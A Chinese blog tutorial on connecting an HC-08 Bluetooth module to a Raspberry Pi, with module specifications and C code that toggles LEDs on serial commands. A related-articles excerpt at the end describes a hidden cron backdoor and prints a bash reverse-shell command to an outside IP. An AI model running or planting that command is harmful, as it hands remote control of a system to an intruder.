树莓派通过串口驱动HC-08蓝牙模块

树莓派通过串口驱动HC-08蓝牙模块

文章目录

  • 树莓派通过串口驱动HC-08蓝牙模块
    • 一、HC-08蓝牙模块介绍
    • 二、树莓派与蓝牙模块硬件连接
    • 三、树莓派通过蓝牙控制设备

一、HC-08蓝牙模块介绍

在这里插入图片描述

蓝牙模块,是一种集成的蓝牙功能的PCB板,用于短距离无线通信,按照功能分为蓝牙数据模块和蓝牙语音模块,是集成蓝牙功能的芯片和基本电路的集合,用于无线网络通讯。     **HC-08蓝牙串口通信模块是新一代的基于 Bluetooth Specification V4.0 BLE蓝牙协议的数传模块**。**无线工作频段为 2.4GHz** ISM,调制方式是 GFSK。模块最大发射功率为 4dBm, 接收灵敏度-93dBm,空旷环境下和 iphone4s 可以实现 80 米超远距离通信。 

产品带底板焊排针,引出6个引脚,可直接同单片机的串口进行连接,待匹配成功后,即可当成一堆串口穿透数据。

产品的参数:

1、引脚

EN(KEY)、VCC、GND、RXD、TXD、STATE共6个引脚,,STATE是蓝牙状态引出引脚,未连接时输出低电平。连接时输出高电平,EN相当于KEY引脚,可消除主机配对记忆。这两个引脚我们不必关注,按照要求连接好其余4个引脚即可。

2、电压说明

输入电压为3.2-6V,电源自带防止反接功能,但是反接不能工作;

3、状态指示

模块上有状态指示灯,配对前,主机未记录从机地址,每秒亮100ms;主机记录从机地址,每秒亮900ms;配对后,主机灯与从机灯都常亮。

4、接口电平

数据的输入输出接口RXD、TXD为3.2-6V TTL电平,可以同单片机直接连接。

5、通信距离

空旷环境下,通信距离可达80m;

6、通信格式

配对成功后,可以作为全双共串口使用,无需了解蓝牙协议,但只支持8位数据位,1位停止位,无校验位的通信格式,校验位可以更改。

7、默认值

波特率9600,蓝牙名HC-08。

二、树莓派与蓝牙模块硬件连接

在这里插入图片描述
在这里插入图片描述

三、树莓派通过蓝牙控制设备

/* mySerialTool.h */
#ifndef __MYSERIALTOOL_H__
#define __MYSERIALTOOL_H__/*
* @Author: <NAME> 打开指定的串口设备,并设置波特率
*
* @param device 串口设备名称,如"/dev/ttyUSB0"
* @param baud 波特率,如9600、115200等
* @return 成功返回文件描述符,失败返回-1
*/
int mySerialOpen(const char *device, const int baud);/*
* @Author: 向指定的串口设备发送字符串
*
* @param fd 串口设备文件描述符
* @param str 要发送的字符串 
* @return 无
*/
void mySerialSendString(const int fd, const char *str);/*
* @Author: 从指定的串口设备读取字符串
*
* @param fd 串口设备文件描述符              
* @param buffer 读取到的字符串存放的缓冲区      
* @return 读取到的字符串的长度,失败返回-1
*/
int mySerialReadString(const int fd, char *buffer);#endif
/* mySerialTool.c */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>/*打开指定的串口设备,并设置波特率*/
int mySerialOpen(const char *device, const int baud)
{struct termios options; // 串口配置参数speed_t myBaud;         // 波特率int status, fd;         // 状态和文件描述符//根据传入的波特率参数设置相应的波特率switch(baud){case 9600:myBaud = B9600;break;case 115200:myBaud = B115200;break;default:printf("不支持的波特率!\n");return -2;}  //打开串口设备if( (fd = open(device, O_RDWR | O_NOCTTY | O_NDELAY)) == -1){printf("无法打开串口设备\n");return -1;}// 设置文件描述符的标志为读写模式fcntl(fd, F_SETFL, O_RDWR);// 获取当前串口配置tcgetattr(fd, &options);// 设置串口为原始模式,无特殊处理cfmakeraw(&options);// 设置输入波特率cfsetispeed(&options, myBaud);// 设置输出波特率cfsetospeed(&options, myBaud);// 清除标志位并设置数据格式options.c_cflag |= (CLOCAL | CREAD);options.c_cflag &= ~PARENB; // 无奇偶校验位options.c_cflag &= ~CSTOPB; // 1个停止位options.c_cflag &= ~CSIZE; // 清除数据位options.c_cflag |= CS8; // 设置为8位数据位options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); // 非规范模式,不执行输入处理options.c_oflag &= ~OPOST; // 输出处理// 设置读取时的超时和最小接收字符数options.c_cc[VMIN] = 0;options.c_cc[VTIME] = 100; // 10秒超时// 应用串口配置tcsetattr(fd, TCSANOW, &options);// 使用ioctl设置串口的DTR和RTS信号ioctl(fd, TIOCMGET, &status);status |= TIOCM_DTR;status |= TIOCM_RTS;ioctl(fd, TIOCMSET, &status);// 短暂延时usleep(10000); // 10毫秒延时return fd; // 返回文件描述符
}/*向指定的串口设备发送字符串*/
void mySerialSendString(const int fd, const char *str)
{int ret;ret = write(fd, str, strlen(str));            // 发送字符串if(ret == -1){printf("串口发送失败!\n");exit(-1);                                 // 发送失败,退出程序}
}/*从指定的串口设备读取字符串*/
int mySerialReadString(const int fd, char *buffer)
{int n_read;n_read = read(fd, buffer, 32);                // 读取串口数据if(n_read == -1){printf("串口读取失败!\n");exit(-1);                                 // 读取失败,退出程序}
}
/* main.c */
#include <stdio.h>
#include <string.h>
#include <wiringPi.h>
#include "mySerialTool.h"#define LED1 26                                            //定义四个LED引脚
#define LED2 27
#define LED3 28
#define LED4 29void LED_GPIO_Init()
{pinMode(LED1, OUTPUT);                                  //设置四个LED引脚为输出模式pinMode(LED2, OUTPUT);pinMode(LED3, OUTPUT);pinMode(LED4, OUTPUT);digitalWrite(LED1, HIGH);digitalWrite(LED2, HIGH);digitalWrite(LED3, HIGH);digitalWrite(LED4, HIGH);                             //初始化四个LED为高电平
}int main(int argc, char **argv)
{int fd;char deviceName[32] = {'\0'};int n_read;                                             //读取数据长度   char readBuf[32] = {'\0'};                              //接收数据缓存if(argc < 2){                                           //查看命令行参数是否存在printf("Usage: %s /dev/ttyAMA0\n", argv[0]);return -1;}strcpy(deviceName, argv[1]);                            //拷贝设备名到deviceNamefd = mySerialOpen(deviceName, 9600);                    //打开串口if(fd < 0){printf("打开串口设备失败\n");return -1;}if(wiringPiSetup() == -1){                               //初始化wiringPiprintf("初始化wiringPi失败\n");return -1;}LED_GPIO_Init();                                         //初始化LED引脚while(1){n_read = mySerialReadString(fd, readBuf);//printf("读到的数据为:%s\n", readBuf);if(strstr(readBuf, "open1") != NULL){printf("打开LED1\n");digitalWrite(LED1, LOW);mySerialSendString(fd, "open LED1 success\n");}else if(strstr(readBuf, "open2") != NULL){printf("打开LED2\n");digitalWrite(LED2, LOW);mySerialSendString(fd, "open LED2 success\n");}else if(strstr(readBuf, "open3") != NULL){printf("打开LED3\n");digitalWrite(LED3, LOW);mySerialSendString(fd, "open LED3 success\n");}else if(strstr(readBuf, "open4") != NULL){printf("打开LED4\n");digitalWrite(LED4, LOW);mySerialSendString(fd, "open LED4 success\n");}else if(strstr(readBuf, "close") != NULL){printf("关闭所有LED\n");digitalWrite(LED1, HIGH);digitalWrite(LED2, HIGH);digitalWrite(LED3, HIGH);digitalWrite(LED4, HIGH);mySerialSendString(fd, "close all LED success\n");}memset(readBuf, '\0', sizeof(readBuf));}return 0;
}

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420127.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

避障小车—51单片机

一、小车底盘组装 根据视频的安装步骤安装 二、 电机模块开发 2.1 L9110s概述 接通VCC&#xff0c;GND 模块电源指示灯亮&#xff0c; 以下资料来源官方&#xff0c;但是不对&#xff0c;根据下节课实际调试 IA1输入高电平&#xff0c;IA1输入低电平&#xff0c;【OA1 OB1…

JavaWeb【day11】--(SpringBootWeb案例)

SpringBootWeb案例 前面我们已经实现了员工信息的条件分页查询以及删除操作。 关于员工管理的功能&#xff0c;还有两个需要实现&#xff1a; 新增员工 修改员工 首先我们先完成"新增员工"的功能开发&#xff0c;再完成"修改员工"的功能开发。而在&quo…

PDF样本图册转换为一个链接,随时打开无需印刷

想象一下&#xff0c;您手中有一本厚重的样本图册&#xff0c;里面包含了丰富多样的内容&#xff0c;如产品介绍、项目方案、学术论文等。在过去&#xff0c;您需要逐一翻阅、筛选&#xff0c;甚至为了便于查看&#xff0c;不得不将其印刷出来。如今&#xff0c;借助先进的数字…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

都2024年了还不明白Redis持久化?RDB文件、AOF文件、AOF重写

都2024年了&#xff0c;不会还有人不知道redis的RDB和Aof吧&#xff1f;不知道没关系&#xff0c;看完这篇文章我相信你就会有个大概的了解和认识了 1. Redis持久化 1.1 持久化概念 Redis本身是一个基于内存的数据库&#xff0c;它提供了RDB持久化、AOF持久化两种方式&#…

田纳西州橡树岭全球最快的超级计算机名为Frontier

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

记录深度学习量化操作

0. 简介 深度学习中做量化提升运行速度是最常用的方法&#xff0c;尤其是大模型这类非常吃GPU显存的方法。一般是高精度浮点数表示的网络权值以及激活值用低精度&#xff08;例如8比特定点&#xff09;来近似表示达到模型轻量化&#xff0c;加速深度学习模型推理&#xff0c;目…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一&#xff1a;权限维持-Linux-定时任务-Cron后门 linux的计时任务&#xff0c;配置文件再/etc/crontab下 创建后门文件&#xff0c;这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

[数据集][目标检测]街道乱堆垃圾检测数据集VOC+YOLO格式94张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;94 标注数量(xml文件个数)&#xff1a;94 标注数量(txt文件个数)&#xff1a;94 标注类别数…

联想泄露显示本月推出更便宜的Copilot Plus电脑

联想似乎准备推出新的更实惠的 Copilot Plus 电脑。可靠的爆料者Evan Blass发布了一份来自联想的新闻稿&#xff0c;详细介绍了将在本周晚些时候的IFA展会上宣布的各种Copilot Plus电脑&#xff0c;其中包括两款采用尚未公布的8核高通骁龙X Plus芯片的电脑。 这些新的高通芯片…

【前端】vue+html+js 实现table表格展示,以及分页按钮添加

一. 问题描述 数据条数太多显示到页面上时可能会渲染较慢&#xff0c;因此需要截取数据进行展示。 二. 代码写法 思路&#xff1a;按照上述图示思路&#xff0c;需要有两个数据列表&#xff0c;一个存储的是所有的列表数据&#xff0c;一个存储的是展示的数据列表&#xff0c…

Vue组件:使用$emit()方法监听子组件事件

1、监听自定义事件 父组件通过使用 Prop 为子组件传递数据&#xff0c;但如果子组件要把数据传递回去&#xff0c;就需要使用自定义事件来实现。父组件可以通过 v-on 指令&#xff08;简写形式“”&#xff09;监听子组件实例的自定义事件&#xff0c;而子组件可以通过调用内建…

基于单片机的人脸识别的智能门禁系统设计

文章目录 前言资料获取设计介绍功能介绍设计清单核心代码具体实现截图参考文献设计获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师&#xff0c;一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等…

C/C++ 中的算术运算及其陷阱(详解,举例分析)

在C/C编程中&#xff0c;算术运算是非常基础且常用的操作。然而&#xff0c;这些看似简单的运算背后却隐藏着一些潜在的陷阱&#xff0c;如果不加以注意&#xff0c;可能会导致程序出现难以预料的错误。本文将探讨C/C中常见的算术运算及其潜在的陷阱&#xff0c;并通过实例进行…

大数据技术体系架构

数据源 社交媒体平台 云平台 网站资源 物联网&#xff08;IOT&#xff09; 数据库 特点 分布式 数据源一般分布在不同的设备上&#xff0c;这些设备通常由网络连接在一起&#xff0c;网络空间的安全及其重要&#xff1b; 异构性 数据的来源广泛&#xff0c;比如社交媒…

一台手机一个ip地址吗?手机ip地址泄露了怎么办

在数字化时代&#xff0c;‌手机作为我们日常生活中不可或缺的一部分&#xff0c;‌其网络安全性也日益受到关注。‌其中一个常见的疑问便是&#xff1a;‌“一台手机是否对应一个固定的IP地址&#xff1f;‌”实际上&#xff0c;‌情况并非如此简单。‌本文首先解答这一问题&a…

RTX AI PC 和工作站上部署多样化 AI 应用支持 Multi-LoRA

今天的大型语言模型&#xff08;LLMs&#xff09;在许多用例中都取得了前所未有的成果。然而&#xff0c;由于基础模型的通用性&#xff0c;应用程序开发者通常需要定制和调整这些模型&#xff0c;以便专门针对其用例开展工作。 完全微调需要大量数据和计算基础设施&#xff0…

os模块函数

1、常用命令 os.getcwd() 返回当前工作目录 os.listdir() 返回指定文件路径下的文件夹列表或者文件列表 os.mkdir 创建文件夹,不能创建递归文件夹,也就是上一层文件夹必须存在,不存在时会报错,同时在指定目录下有相同的文件夹名称,再创建会报错 os.makedirs 可以创建…

Hash Table、HashMap、HashSet学习

文章目录 前言Hash Table&#xff08;散列表&#xff09;基本概念散列函数散列冲突&#xff08;哈希碰撞&#xff09;拉链法红黑树时间复杂度分析 HashMap基础方法使用基本的增删改查其他的方法 实现原理 HashSet基础操作去重原理 前言 本文用于介绍关于Hash Table、HashMap、…

图像去噪技术:传统中值滤波与改进中值滤波算法的比较

在数字图像处理中&#xff0c;去噪是一个至关重要的步骤&#xff0c;尤其是在图像受到椒盐噪声影响时。本文将介绍一种改进的中值滤波算法&#xff0c;并与传统的中值滤波算法进行比较&#xff0c;以展示其在去除椒盐噪声方面的有效性。 实验环境 软件&#xff1a;MATLAB图像…